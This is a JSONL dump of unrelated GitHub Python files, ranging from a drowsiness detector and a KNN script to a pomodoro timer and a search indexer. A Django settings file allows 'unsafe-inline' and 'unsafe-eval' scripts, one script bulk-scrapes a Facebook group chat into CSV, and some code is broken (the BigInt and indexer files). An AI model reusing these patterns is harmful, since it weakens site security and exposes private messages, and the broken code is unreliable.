frame = cap.read() #Capturing frame by frame\n        height, width = frame.shape[:2]  #height and width of frame\n\n        gray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY) #Converting frame to gray scale\n\n        #Now we detect face , left_eye and right_eye \n        faces = face.detectMultiScale(gray, minNeighbors=5, scaleFactor=1.1, minSize=(25, 25))\n        left_eye = leye.detectMultiScale(gray)\n        right_eye = reye.detectMultiScale(gray)\n        #drawing rectangle of frame size\n        cv2.rectangle(frame, (0, height-50), (200, height), (0, 0, 0), thickness=cv2.FILLED)\n       \n        #Drawing rectangle around the face where x and y are coordinates of upper left corner, w-width, h-height\n        for (x,y,w,h) in faces:\n            cv2.rectangle(frame, (x,y) , (x+w,y+h) , (100,255,100) , 1 )\n        cv2.rectangle(frame, (3, 3), (width-3, 35), (0, 0, 0), thickness=cv2.FILLED)\n\n\n        for (x,y,w,h) in right_eye:\n            r_eye = frame[y:y+h,x:x+w] #Extracting right eye from frame\n            count= count+1\n            r_eye = cv2.cvtColor(r_eye,cv2.COLOR_BGR2GRAY) #Converting to gray scale\n            r_eye = cv2.resize(r_eye,(24,24)) #Resizing image to (24,24) which input size for our model\n            r_eye = r_eye/255\n            r_eye = r_eye.reshape(24,24,-1)\n            r_eye = np.expand_dims(r_eye,axis=0)\n            predict_r = model.predict(r_eye) \n            rpred = np.argmax(predict_r,axis=1) #It will predict the class of the image means either eye is open or closed\n            \n            if rpred[0]==1: #If it gives 1 then eye is open because 1 is assigned to open\n                lbl = 'Open' #Set label to open\n            if rpred[0]==0: #If it gives 0 then eye is closed bacause 0 is assigned to closed\n                lbl = 'Closed' #Set label to closed\n                break\n\n\n        for (x,y,w,h) in left_eye:\n            l_eye=frame[y:y+h,x:x+w] #Extracting left eye from frame\n            count = count+1\n            l_eye = cv2.cvtColor(l_eye,cv2.COLOR_BGR2GRAY) #Converting to gray scale\n            l_eye = cv2.resize(l_eye,(24,24))\n            l_eye= l_eye/255\n            l_eye=l_eye.reshape(24,24,-1)\n            l_eye = np.expand_dims(l_eye,axis=0)\n            predict_l = model.predict(l_eye) \n            lpred = np.argmax(predict_l,axis=1) #It will predict the class of the image means either eye is open or closed\n            \n            if(lpred[0]==1):  #If it gives 1 then eye is open because 1 is assigned to open\n                lbl = 'Open' #Set label to open\n            if(lpred[0]==0): #If it gives 0 then eye is closed bacause 0 is assigned to closed\n                lbl = 'Closed' #Set label to closed\n            break\n\n\n        if(rpred[0]==0 and lpred[0]==0): #If both eyes are closed increment the score\n            score = score+1\n            #It will put the text closed in frame, we have given coordinated of upper left corner of block,font type,color,line type\n            cv2.putText(frame,\"Closed\",(10,height-20), font, 1,(255,255,255),1,cv2.LINE_AA)\n\n        else: #If eyes are not closed decrement the score\n            score = score-1\n            cv2.putText(frame,\"Open\",(10,height-20), font, 1,(255,255,255),1,cv2.LINE_AA)\n\n\n        if(score<0): #Restricting our score not to go less than zero\n            score=0\n        cv2.putText(frame,'Score:'+str(score),(100,height-20), font, 1,(255,255,255),1,cv2.LINE_AA)\n        if(score>15):\n            #Person is feeling sleepy so we beep the alarm\n            cv2.imwrite(os.path.join(path,'image.jpg'),frame) #Saving image to specified path\n\n\n            try:\n                sound.play()\n\n            except:  # isplaying = False\n                pass\n            if(thicc<16): #This is for displaying motion of borders when alarm beeps\n                thicc= thicc+2\n\n\n            else:\n                thicc=thicc-2\n                if(thicc<2):\n                    thicc=2\n            cv2.rectangle(frame,(0,0),(width,height),(0,0,255),thicc) #Drawing rectangle\n            cv2.imshow('frame',frame)\n            if cv2.waitKey(1) & 0xFF == ord('q'): #If q is pressed break the loop\n                break\n\n@app.route('/')\ndef home():\n    return render_template('home.html')\n\n@app.route('/video_feed')\ndef video_feed():\n    return Response(gen_frames(), mimetype='multipart/x-mixed-replace; boundary = frame')\n\nif __name__ == '__main__':\n    app.run(debug=True)","repo_name":"bhaktid13/Drowsiness-Detection-System","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":5634,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"72484417437","text":"# security.py\n\n\n# HTTPS settings\n# SECURE_SSL_REDIRECT = True\n# SECURE_PROXY_SSL_HEADER = ('HTTP_X_FORWARDED_PROTO', 'https')\n# SESSION_COOKIE_SECURE = True\n# CSRF_COOKIE_SECURE = True\n\n# Content Security Policy\nCSP_DEFAULT_SRC = (\"'self'\",)\nCSP_SCRIPT_SRC = (\"'self'\", \"'unsafe-inline'\", \"'unsafe-eval'\")\nCSP_STYLE_SRC = (\"'self'\", \"'unsafe-inline'\")\nCSP_IMG_SRC = (\"'self'\", \"data:\")\nCSP_CONNECT_SRC = (\"'self'\",)\n\n# CORS settings\n# CORS_ALLOWED_ORIGINS = [\n#     'https://example.com',\n# ]\n\n# Clickjacking protection\nX_FRAME_OPTIONS = 'DENY'\n\n# HSTS settings\n# SECURE_HSTS_SECONDS = 31536000\n# SECURE_HSTS_INCLUDE_SUBDOMAINS = True\n# SECURE_HSTS_PRELOAD = True\n","repo_name":"andrewkharzin/awahss3_api","sub_path":"core/settings/security.py","file_name":"security.py","file_ext":"py","file_size_in_byte":664,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"43685862246","text":"from dotenv import load_dotenv\r\nfrom lyricsgenius.genius import Genius\r\n\r\nload_dotenv()\r\ngenius = Genius()\r\n\r\ndef lyrics(song) -> str:\r\n    song_data = genius.search_song(song.data.title, song.data.author)\r\n    if song_data is None: return \"Could not find anything :(\"\r\n    song_lyrics = genius.lyrics(song_data.id)\r\n    return song_lyrics[:-5] if song_lyrics else \"\"\r\n\r\n","repo_name":"pitt0/Viber","sub_path":"models/utils/genius.py","file_name":"genius.py","file_ext":"py","file_size_in_byte":371,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"51"}
+{"seq_id":"72448406239","text":"class BigInt:\n\n    '''\n    The class internally stores the input number in form of an integer list.\n    >>> A = BigInt(999) \n\n    '''\n    def __init__(self, num):\n        \n        '''\n        Q0:\n        Constructor constructor method, saves the original number.\n        \n        '''\n        self.num = list(map(int, list(str(num))))\n        \n    def addOne(self):\n        \n        '''\n        Q1\n        The method adds one to the number and displays it accordingly\n        >>> A.addOne()\n        >>> '1000'\n        \n        '''\n        self.adds(self, multiple = True, inp = [1])\n    \n    \n    def adds(self, bigint, multiple = False, inp = [0]):\n        \n        '''\n        Q2\n        Adds other provided big int to original big int\n\n        >>> B = BigInt(99)\n        >>> A.adds(B)\n        >>> '1098'\n\n        '''\n        sum_ = []\n        carry = 0\n        \n        if multiple == False:\n            bigint_x = self.num[:]\n            \n        if multiple == True:\n            bigint_x = inp\n            \n#         by = list(map(int, list(str(by))))\n        bigint_y = bigint.num\n    \n        if len(bigint_x) > len(bigint_y):\n            x, y = bigint_x, bigint_y\n            \n        if len(bigint_x) < len(bigint_y):\n            x, y = bigint_y, bigint_x\n            \n        else: x, y = bigint_x, bigint_y\n            \n        for i, j in zip(range(len(x))[::-1], range(len(y))[::-1]):\n            tempx = x[i]\n            tempy = y[j]\n            temp = tempx + tempy + carry\n            \n            if temp/10 != 0:\n                sum_.append(temp%10)\n                carry = temp/10\n                \n            else:\n                sum_.append(temp)\n                carry = 0\n                \n        if len(x) != len(y):\n            for k in range(0,len(x)-len(y))[::-1]:\n                tempx = x[k]\n                temp = tempx + carry\n                if temp/10 != 0:\n                    sum_.append(temp%10)\n                    carry = temp/10\n                else:\n                    sum_.append(temp)\n                    carry = 0\n                    \n        if carry !=0: sum_.append(carry)\n        else: pass\n        \n        self.num = sum_[::-1]\n        if multiple == True:\n            num_string = reduce((lambda x, y: str(x)+str(y)), sum_[::-1])\n            return num_string\n        else:\n            pass\n    \n    def addAll(self, *args):\n\n        '''\n        Q3\n        This method adds all the other provided big ints to the original big int. \n        Input can be multiple values\n\n        >>> C = BigInt(99999)\n        >>> D = BigInt(1234)\n        >>> A.addAll(B, C, D)\n        >>> '102232'\n        \n        '''\n        sum_ = self.num[:]\n        \n        for i in args:\n            sum_ = list(map(int, self.adds(i, multiple=True, inp=sum_)))\n        \n        self.num = sum_[:]\n#         num_string = reduce((lambda x, y: str(x)+str(y)), sum_)\n#         return num_string\n\n    def display(self):\n        '''\n        Prints the BigInt.\n        \n        '''\n        num_string = reduce((lambda x, y: str(x)+str(y)), self.num)\n        return int(num_string) \n    \n    ","repo_name":"bhanu-sharma/BigInt","sub_path":"src/bigInt.py","file_name":"bigInt.py","file_ext":"py","file_size_in_byte":3106,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"11484692645","text":"import time\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nfrom sklearn.metrics import confusion_matrix, classification_report, accuracy_score\nfrom sklearn.neighbors import KNeighborsClassifier\nfrom confusion_matrix import plot_confusion_matrix\nfrom sklearn.preprocessing import LabelEncoder, RobustScaler\n\ndef test_KNN(fn):\n    \"\"\"\n    Function which will tune and test a K-Nearest Neighbors model. It will plot\n    a confusion matrix and write a performance report to file.\n\n    Arguments:\n        - fn        :       Name of the input file.\n    \"\"\"\n    #Timer variables\n    start = 0\n    end = 0\n\n    #Load datasets\n    X_train_df = pd.read_csv(\"input/{}_train_X.csv\".format(fn), sep=\";\")\n    y_train_df = pd.read_csv(\"input/{}_train_y.csv\".format(fn), sep=\";\")\n    X_test_df = pd.read_csv(\"input/{}_test_X.csv\".format(fn), sep=\";\")\n    y_test_df = pd.read_csv(\"input/{}_test_y.csv\".format(fn), sep=\";\")\n\n    X_val_tr = X_train_df.values\n    y_val_tr = y_train_df.values\n    X_val_test = X_test_df.values\n    y_val_test = y_test_df.values\n\n    #Convert to numpy arrays\n    X_train = X_val_tr[:].astype(float)\n    y_train = y_val_tr[:]\n    X_test = X_val_test[:].astype(float)\n    y_test = y_val_test[:]\n\n    #Scale X values (train)\n    scaler = RobustScaler()\n    scaler.fit(X_train)\n    X_train = scaler.transform(X_train)\n\n    #Scale X values (test)\n    scaler.fit(X_test)\n    X_test = scaler.transform(X_test)\n\n    #Transform non-numerical values into numericals\n    encoder = LabelEncoder()\n    encoder.fit(y_train.ravel())\n    encoded_y_train = encoder.transform(y_train.ravel())\n    encoder.fit(y_test.ravel())\n    encoded_y_test = encoder.transform(y_test.ravel())\n\n    #Number of neighbors (K) to test\n    nr_of_neighbors = [x for x in range(5,100,5)]\n\n    #Variables to store the best values\n    best_model = KNeighborsClassifier()\n    best_acc = 0.0\n    time_taken = 0\n\n    #Test different values for K\n    for K in nr_of_neighbors:\n        knn = KNeighborsClassifier(n_neighbors=K)\n\n        #Train the model\n        start = time.time()\n        knn.fit(X_train, encoded_y_train)\n        end = time.time()\n\n        #Predicted values\n        y_pred = knn.predict(X_test)\n\n        print(\"\\nK: {}\".format(knn.get_params()['n_neighbors']))\n        print(\"Acc: {}\".format(accuracy_score(encoded_y_test, y_pred)))\n\n        #Measure accuracy and save model if it is the best one\n        if accuracy_score(encoded_y_test, y_pred) > best_acc:\n            time_taken = end - start\n            best_model = knn\n            best_acc = accuracy_score(encoded_y_test, y_pred)\n\n\n    #Predict using the best model\n    y_pred = encoder.inverse_transform(best_model.predict(X_test))\n    K = best_model.get_params()['n_neighbors']\n\n    #Making the Confusion Matrix\n    cm = confusion_matrix(y_test, y_pred)\n    print(cm)\n    print(\"\\n\")\n    print(classification_report(y_test, y_pred))\n    print(\"Scores for final, best model:\\n\")\n    print(\"\\nK: {}\".format(K))\n    print(\"Acc: {}\".format(accuracy_score(y_test, y_pred)))\n\n    #Find labels\n    labels = [label for label in y_test_df.iloc[:, 0].unique()]\n\n    #Plot confusion matrix\n    plot_confusion_matrix(cm, sorted(labels), False)\n\n    #Show the plot\n    plt.savefig(\"figures/KNN_confusion_matrix_{}.svg\".format(int(time.time())))\n    #plt.show()\n\n    #Write a .txt report file\n    with open(\"reports/KNN_{}_report.txt\".format(fn), \"w\") as f:\n        f.write(\"REPORT FOR \\\"{}\\\"\\n\\n\".format(fn))\n        f.write(\"Best value for K: {}\".format(K))\n\n        f.write(\"\\n\\n\\nClassification Report:\\n\")\n        for line in classification_report(y_test, y_pred):\n            f.write(line)\n\n        f.write(\"\\nConfusion Matrix:\\n\\n\")\n        f.write(np.array2string(cm, separator=', '))\n\n        f.write(\"\\n\\nTime used to train the model: {} seconds\".format(time_taken))\n\n        f.write(\"\\n\\nScores for final, best model:\\n\")\n        f.write(\"Accuracy: {}\".format(best_acc))\n\n        f.close()\n\n\n\nif __name__ == '__main__':\n    files = [\"No_R\", \"No_R_NCCM\", \"Full_R\", \"Full_R_NCCM\"]\n\n    test_KNN(files[2])\n","repo_name":"desta161921/PassiveFinger","sub_path":"machine_learning/KNN_model.py","file_name":"KNN_model.py","file_ext":"py","file_size_in_byte":4070,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"8017694259","text":"from tkinter import *\nimport math\n\n# ---------------------------- CONSTANTS ------------------------------- #\nPINK = \"#e2979c\"\nRED = \"#e7305b\"\nGREEN = \"#9bdeac\"\nYELLOW = \"#f7f5dd\"\nFONT_NAME = \"Courier\"\nWORK_MIN = 25\nSHORT_BREAK_MIN = 5\nLONG_BREAK_MIN = 20\ntimer = None\nreps = 0\n\n# ---------------------------- TIMER RESET ------------------------------- #\ndef reset_timer():\n    global reps\n    window.after_cancel(timer)\n    reps = 0\n    label_title.config(text=\"Timer\", fg=GREEN)\n    label_checkmark.config(text=\"\")\n    canvas.itemconfig(timer_text, text=\"00:00\")\n\n\n# ---------------------------- TIMER MECHANISM ------------------------------- #\ndef timer_start():\n    global reps\n    reps += 1\n    work_sec = WORK_MIN * 60\n    short_break_sec = SHORT_BREAK_MIN * 60\n    long_break_sec = LONG_BREAK_MIN * 60\n\n    if reps % 8 == 0:\n        label_title.config(text=\"Break\", fg=RED)\n        count_down(long_break_sec)\n    elif reps % 2 == 0:\n        label_title.config(text=\"Break\", fg=PINK)\n        # label_checkmark.config(text=check)\n        count_down(short_break_sec)\n    else:\n        label_title.config(text=\"Work\", fg=GREEN)\n        count_down(work_sec)\n\n\n# ---------------------------- COUNTDOWN MECHANISM ------------------------------- #\ndef count_down(count):\n    count_min = math.floor(count / 60)\n    count_sec = count % 60\n    if count_sec < 10:\n        count_sec = f\"0{count_sec}\"\n    if count_min < 10:\n        count_min = f\"0{count_min}\"\n\n    canvas.itemconfig(timer_text, text=f\"{count_min}:{count_sec}\")\n    if count > 0:\n        global timer\n        timer = window.after(1000, count_down, count - 1)\n    else:\n        timer_start()\n        mark = \"\"\n        for _ in range(reps // 2):\n            mark += \"✔\"\n            label_checkmark.config(text=mark)\n\n\n# ---------------------------- UI SETUP ------------------------------- #\n\nwindow = Tk()\nwindow.config(padx=100, pady=80, bg=YELLOW)\nwindow.title(\"Pomodoro\")\n\ncanvas = Canvas(height=250, width=224, bg=YELLOW, highlightthickness=0)\n# ------- Create Image ------- #\nphoto_image = PhotoImage(file=\"tomato.png\")\ncanvas.create_image(115, 112, image=photo_image)\ncanvas.grid(column=1, row=1)\ntimer_text = canvas.create_text(\n    115, 130, text=\"00:00\", fill=\"#fff\", font=(FONT_NAME, 30, \"bold\")\n)\n# ------- Create Label ------- #\nlabel_title = Label(text=\"Timer\", fg=GREEN, bg=YELLOW, font=(FONT_NAME, 35, \"bold\"))\nlabel_title.grid(column=1, row=0)\n\nlabel_checkmark = Label(fg=GREEN, bg=YELLOW, font=(FONT_NAME, 20, \"bold\"))\nlabel_checkmark.grid(column=1, row=3)\n\n# ------- Create Buttons ------- #\nbutton_start = Button(text=\"Start\", command=timer_start, padx=15, pady=5, border=0)\nbutton_start.grid(column=0, row=2)\nbutton_reset = Button(text=\"Reset\", command=reset_timer, padx=15, pady=5, border=0)\nbutton_reset.grid(column=2, row=2)\n\nwindow.mainloop()\n","repo_name":"damiangaw/Python-projects","sub_path":"Basics/pomodoro-start/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2830,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"3714592681","text":"#! /usr/bin/env python3\n\nimport sys\nimport argparse\nimport os\nimport numpy as np\nimport pandas as pd\nimport seaborn as sns\nimport matplotlib.pyplot as plt\n\ndef argparse_line():\n    parser = argparse.ArgumentParser(description='',\n        formatter_class=argparse.RawTextHelpFormatter)\n    parser.add_argument('--target', metavar='TXT', nargs='+',\n        help='{sample}.{software}_{target_taxon}.txt', required=True)\n    parser.add_argument('--output', metavar='PNG',\n        help='{software}_{target_taxon}.ContigNumber.png', required=True)\n    argv = vars(parser.parse_args())\n    return argv\n\ndef process_file(file_path):\n    df = pd.read_csv(file_path, delimiter='\\t')\n    df['family_name'].fillna('Unclassified_family', inplace=True)\n    family_counts = df['family_name'].value_counts()\n\n    return family_counts\n\ndef plot(target_files, output):\n    all_samples = {}\n    for file_name in target_files:\n        sample_name = file_name.split('/')[-1].split('.')[0]\n        family_counts = process_file(file_name)\n        all_samples[sample_name] = family_counts\n\n    df = pd.DataFrame(all_samples).fillna(0)\n\n    df = np.log(df)\n    df = df.replace([np.inf, -np.inf], 0)\n\n    plt.figure(figsize=(70, 30))\n    ax = sns.heatmap(df,\n                     cmap=sns.color_palette(\"rocket_r\", 20),\n                     linewidths=0.05,\n                     linecolor='white',\n                     cbar_kws={'label': 'Contigs Number(log scale)'})\n    \n    cbar = ax.collections[0].colorbar\n    cbar.ax.tick_params(labelsize=30)\n    ax.figure.axes[-1].yaxis.label.set_size(30)\n\n    ax.set(xlabel=\"\", ylabel=\"\")\n    ax.set_xticklabels(ax.get_xticklabels(), fontsize=15, \n                       rotation=45, ha='right')\n    ax.set_yticklabels(ax.get_yticklabels(), fontsize=30)\n    ax.set_title('Distribution of Contig counts at the Family Rank', \n                 fontsize=30)\n    plt.yticks(rotation=0)\n    plt.savefig(output)\n\ndef main():\n    argv = argparse_line()\n    plot(argv['target'], argv['output'])\n\nif __name__ == '__main__':\n    main()\n","repo_name":"LXRz1/my_snakemake_homework","sub_path":"scripts/plot_TaxonContigNum_heatmap.py","file_name":"plot_TaxonContigNum_heatmap.py","file_ext":"py","file_size_in_byte":2041,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"2531495712","text":"from sqlalchemy import text\n\nfrom src.model.models import Documento, DocumentoLink, IndiceInvertido\nfrom src.service.database import db_session\n\n\nclass IndexadorService:\n    termos = []\n    documentos = []\n    def limpaCriaIndice(self):\n        self.termos = []\n        inds.deleteAllNativeQuery()\n        ts.deleteAllNativeQuery()\n        return self.criaIndice()\n\n    def criaIndice(self):\n        self.documentos = ds.listAll()\n        for documento in self.documentos:\n            try:\n                print('Processando indice doc.id: ['+str(documento.id)+']')\n                documento.frequenciaMaxima = 0\n                documento.somaQuadradosPesos = 0\n                documento = ds.save(documento)\n                self.indexar(documento, len(self.documentos))\n            except Exception:\n                print('Falha ao indexar o documento id:[' + documento.id + ']')\n                return False\n        return True\n\n    def indexar(self, documento, N):\n        termos = documento.visao.split()\n        count = 1\n        for word in termos:\n            if(word is not None and word != ''):\n                print('processando palavra [' + word + '] - '+str(count)+'/'+str(len(termos)))\n                termo = TermoDocumento()\n                termo = self.getTermo(word)\n                f = self.frequencia(termo.texto, termos)\n                if f > documento.frequenciaMaxima:\n                    documento.frequenciaMaxima = f\n                peso = self.calcularPeso(N, termo.n, f)\n                documento.adicionarPeso(peso)\n                inds.inserirEntradaIndiceInvertido(termo, documento, f, peso)\n            count = count+1\n\n    def getTermo(self, word):\n        try:\n            termo = ts.findByTermo(word)\n            termo.n = self.quantDocPorTermo(word)\n            termo = ts.update(termo)\n            return termo\n        except Exception:\n            termo = TermoDocumento()\n            termo.texto = word\n            termo.n = self.quantDocPorTermo(word)\n            termo = ts.save(termo)\n            self.termos.append(termo)\n            return termo\n\n    def quantDocPorTermo(self, word):\n        n = 0\n        for documento in self.documentos:\n            try:\n                visaoArray = documento.visao.split()\n                indice = visaoArray.index(word)\n                n = n+1\n            except Exception:\n                continue\n        return n\n\n    def frequencia(self, texto, termos):\n        contador = 0\n        i = 0\n        while i < len(termos):\n            if(termos[i] is not None and termos[i] != \" \"):\n                if termos[i] == texto:\n                    contador = contador+1\n                    termos[i] = \"\"\n            i = i+1\n        return contador\n\n    def getDocumentos(self):\n        return self.documentos\n\n    def calcularPeso(self, N, n, f):\n        tf = self.cacularTf(f)\n        idf = self.calcularIdf(N, n)\n        return tf*idf\n\n    def cacularTf(self, f):\n        if f == 0:\n            return 0\n        return 1 + self.log(f, 2)\n\n    def log(self, x, base):\n        a = math.log(x)\n        b = math.log(base)\n        if a == 0 or b == 0:\n            return 0\n        return a/b\n\n    def calcularIdf(self, N, n):\n        if N == 0 or n == 0:\n            return 0\n        return self.log((N / n), 2)\n\n\nclass IndiceInvertidoService:\n    \n    def listAll(self):\n        return IndiceInvertido.query.all()\n\n    def findById(self, id):\n        return IndiceInvertido.query.filter_by(id=id).first()\n\n    def remove(self, obj):\n        try:\n            db_session.delete(obj)\n            db_session.commit()\n            return obj\n        except Exception:\n            db_session.rollback()\n            return 'fail'\n\n    def save(self, obj):\n        try:\n            db_session.add(obj)\n            db_session.commit()\n            return obj\n        except Exception:\n            db_session.rollback()\n            return 'fail'\n\n    def update(self, obj):\n        try:\n            db_session.merge(obj)\n            db_session.commit()\n            return obj\n        except Exception:\n            db_session.rollback()\n            return 'fail'\n\n    def deleteAllNativeQuery(self):\n        try:\n            IndiceInvertido.query.delete()\n            db_session.commit()\n        except Exception:\n            db_session.rollback()\n\n    def inserirEntradaIndiceInvertido(self, termo, documento, f, peso):\n        iv = IndiceInvertido()\n        iv.documento = documento\n        iv.documento_id = documento.id\n        iv.frequencia = f\n        iv.termo = termo\n        iv.termo_id = termo.id\n        iv.peso = peso\n        self.save(iv)\n\n    def getEntradasIndiceInvertido(self, termoConsulta):\n        sql = ' select  i.* from TermoDocumento t, IndiceInvertido i, Documento d where t.id = i.termo_id and i.documento_id = d.id and t.texto = :termoConsulta '\n        return db_session.query(IndiceInvertido).from_statement(text(sql)).params(termoConsulta=termoConsulta.texto).all()\n\n\n\nclass DocumentoService:\n\n    def listAll(self):\n        return Documento.query.all()\n\n    def findById(self, ident):\n        return Documento.query.filter_by(id=ident).first()\n\n    def remove(self, obj):\n        try:\n            doclinks = DocumentoLink.query.filter_by(documento_id=obj.id).all()\n            for doc in doclinks:\n                db_session.delete(doc)\n            indInv = IndiceInvertido.query.filter_by(documento_id=obj.id).all()\n            for ind in indInv:\n                db_session.delete(ind)\n            db_session.delete(obj)\n            db_session.commit()\n            return obj\n        except Exception:\n            db_session.rollback()\n            return 'fail'\n\n    def save(self, obj):\n        try:\n            db_session.add(obj)\n            db_session.commit()\n            return obj\n        except Exception:\n            db_session.rollback()\n            return 'fail'\n\n    def update(self, obj):\n        try:\n            db_session.merge(obj)\n            db_session.commit()\n            return obj\n        except Exception:\n            db_session.rollback()\n            return 'fail'\n\n    def findByUrl(self, url):\n        return Documento.query.filter_by(url=url).first()","repo_name":"lisboaxd/maquinadebusca","sub_path":"coletor/services.py","file_name":"services.py","file_ext":"py","file_size_in_byte":6173,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"51"}
+{"seq_id":"28327737601","text":"from stack import Stack\n\nprint(\"\\nLet's play Towers of Hanoi!\\n\\nThe goal of the puzzle is to move\\nall the disks from the leftmost peg\\nto the rightmost peg, adhering to\\nthe following rules:\\n\\n1) Move only one disk at a time.\\n2) A larger disk may not be\\nplaced ontop of a smaller disk.\\n3) All disks, except the one\\nbeing moved, must be on a peg.\")\n\n#Create the Stacks\nstacks = []\nleft_stack = Stack(\"Left\")\nmiddle_stack = Stack(\"Middle\")\nright_stack = Stack(\"Right\")\nstacks.append(left_stack)\nstacks.append(middle_stack)\nstacks.append(right_stack)\n\n#Set up the Game\nnum_disks = 0\nwhile num_disks <3:\n  try:\n    num_disks = int(input(\"\\nHow many disks do you want to play with?\\n\"))\n  except ValueError:\n    continue\n  while num_disks <3:\n    try:\n      num_disks = int(input(\"Enter a number greater than or equal to 3\\n\"))\n    except ValueError:\n      print(\"Please enter a number\")\n  for disk in range(num_disks,0,-1):\n    left_stack.push(disk)\n  num_optimal_moves = (2 ** num_disks)-1\n  print(\"\\nThe fastest you can solve this game is in {0} moves\".format(num_optimal_moves))\n  \n#Get User Input\ndef get_input():\n  choices = [stack.get_name()[0] for stack in stacks]\n  while True:\n    for i in range(len(stacks)):\n        name = stacks[i].get_name()\n        letter = stacks[i].get_name()[0]\n        print(\"Enter {letter} for {name}\".format(letter=letter,name=name))\n    user_input = input(\"\")\n    if user_input.upper() in choices:\n      for i in range(len(choices)):\n        if user_input.upper() == choices[i]:\n          return stacks[i]      \n#Play the Game\nnum_user_moves = 0\nwhile right_stack.get_size() != num_disks:\n  print(\"\\n\\n...Current Stacks...\")\n  for i in stacks:\n    i.print_items()\n  while True:\n    print(\"\\nWhich stack do you want to move from?\\n\")\n    from_stack = get_input()\n    if from_stack.is_empty():\n      print(\"\\n\\nInvalid Move. Try Again\")\n    else:\n      print(\"\\nWhich stack do you want to move to?\\n\")\n      to_stack = get_input()\n      if to_stack.is_empty() or from_stack.peek() < to_stack.peek():\n        disk = from_stack.pop()\n        to_stack.push(disk)\n        num_user_moves += 1\n        break\n      else:\n        print(\"\\n\\nInvalid Move. Try Again\")\nif num_user_moves == num_optimal_moves:\n  print(\"\\n\\nCongratulations! You beat the game\\nin the least number of moves, {0}.\\nGood job :)\".format(num_optimal_moves))\nelse:\n  print(\"\\n\\nYou completed the game in {0} moves,\\nand the optimal number of moves is {1}.\\nNot too shabby, but you can do better ;)\".format(num_user_moves,num_optimal_moves))","repo_name":"IsaacSmith13/Towers-of-Hanoi","sub_path":"towersofhanoi.py","file_name":"towersofhanoi.py","file_ext":"py","file_size_in_byte":2544,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"74508813599","text":"### Information ###\n# Box contains food packages.\n# Size of the box is length (l) * 2 * height (h)\n# Size of the food package is 2*2*2 (size of each box)\n# Box is represented as array A\n# During delivery box is rotated \"k\" times 90 degrees clockwise rotation\n# K is inputted\n \n# Code Input - Must separate each string, append to list\n\n# Input\n# 6 -> length\n# 2 2 1 3 1 1 0-> elements of array\n# 1 -> number f rotation\n\n# Output\n# 6 3 1\n\n# Code constraints\n\n# Dummy Input Temporary\nlength_n = 6\nelements_a = [2,2,1,3,1,1]\nrotate_k = 1\nheight_box = max(elements_a)\ntotal_el = sum(elements_a)\n\n\n\n# print(type(length_n))\n# print(type(elements_a))\n# print(type(rotate_k))\n\n# list_1 = [1, [2,3], 5, [7,8,9], 10]\n\n# print(list_1[1][0])\n# print(list_1[3][1:])","repo_name":"harashtaht/PreliminaryTest","sub_path":"Programming/rotate_box.py","file_name":"rotate_box.py","file_ext":"py","file_size_in_byte":751,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"71123878880","text":"import os\nimport fbchat\nimport time\nimport pandas as pd\nfrom login import *\n\n__TIMEBUFFER__ = 0.5\ndata_path = \"~/repos/sommartorpet/data/conv_data.csv\" # Match ur path\n\n\ndef write_output(messages, df=None):\n\n    # Expand datatype\n    exp_msg = [[] for _ in range(len(messages))]\n    for msg, new_msg in zip(messages,exp_msg):\n        new_msg.append(msg.uid)\n        new_msg.append(msg.author)\n        new_msg.append(msg.timestamp)\n        new_msg.append(msg.text)\n\n\n    new_df = pd.DataFrame(exp_msg, columns=[\"msgID\",\"authorID\",\"timestamp\",\"msg\"])\n\n    if df is None:\n        new_df.to_csv(data_path, index=False)\n    else:\n        df = pd.concat(df, new_df, axis=1)\n        df.to_csv(data_path, index=False)\n\ndef fetch_data(timestamp=None):\n    client = fbchat.Client(get_user(), get_passwd(), session_cookies=get_cookies())\n    print(f\"Logged in: {client.isLoggedIn()}\")\n\n    msg_lst = []\n    fetches = 1\n    if timestamp is None:\n        messages = client.fetchThreadMessages(thread_id=get_thread(), limit=100)\n        for msg in messages:\n            msg_lst.append(msg)\n        print(f\"Fetch #{fetches:0<3}, msg-count: {len(msg_lst):10}\")\n        timestamp = messages[-1].timestamp\n    \n    time.sleep(__TIMEBUFFER__)\n    first_time = True\n    attempt = 1\n\n    stop = False\n    while not stop: # error\n        try:\n            messages = client.fetchThreadMessages(thread_id=get_thread(), limit=100, before=timestamp)    \n            if len(messages) == 0: # Exit\n                stop = True\n                break\n            timestamp = messages[-1].timestamp \n        except fbchat.FBchatException as e:\n            if first_time:\n                write_output(msg_lst)\n                first_time = False\n            print(f\"Retrying fetch #{fetches:0<3}, attempt #:{attempt:2}\")\n            attempt += 1\n            time.sleep(__TIMEBUFFER__ * 4)\n            continue\n\n        first_time = True\n        for msg in messages:\n            msg_lst.append(msg) \n        fetches += 1\n        attempt = 1\n        print(f\"Fetch #{fetches:0<3}, msg-count: {len(msg_lst):10}\")\n        time.sleep(__TIMEBUFFER__)\n        \n    return msg_lst\n         \n\n\nif __name__ == \"__main__\":\n\n    if os.path.exists(data_path):\n        print(\"Old file exists\")\n        # Read csvfile\n        df = pd.read_csv(data_path)\n        time_stamp = df[\"timestamp\"].iloc[-1]\n        msg_lst = fetch_data(int(time_stamp))\n        write_output(msg_lst, df)\n\n    else:\n        msg_lst = fetch_data()\n        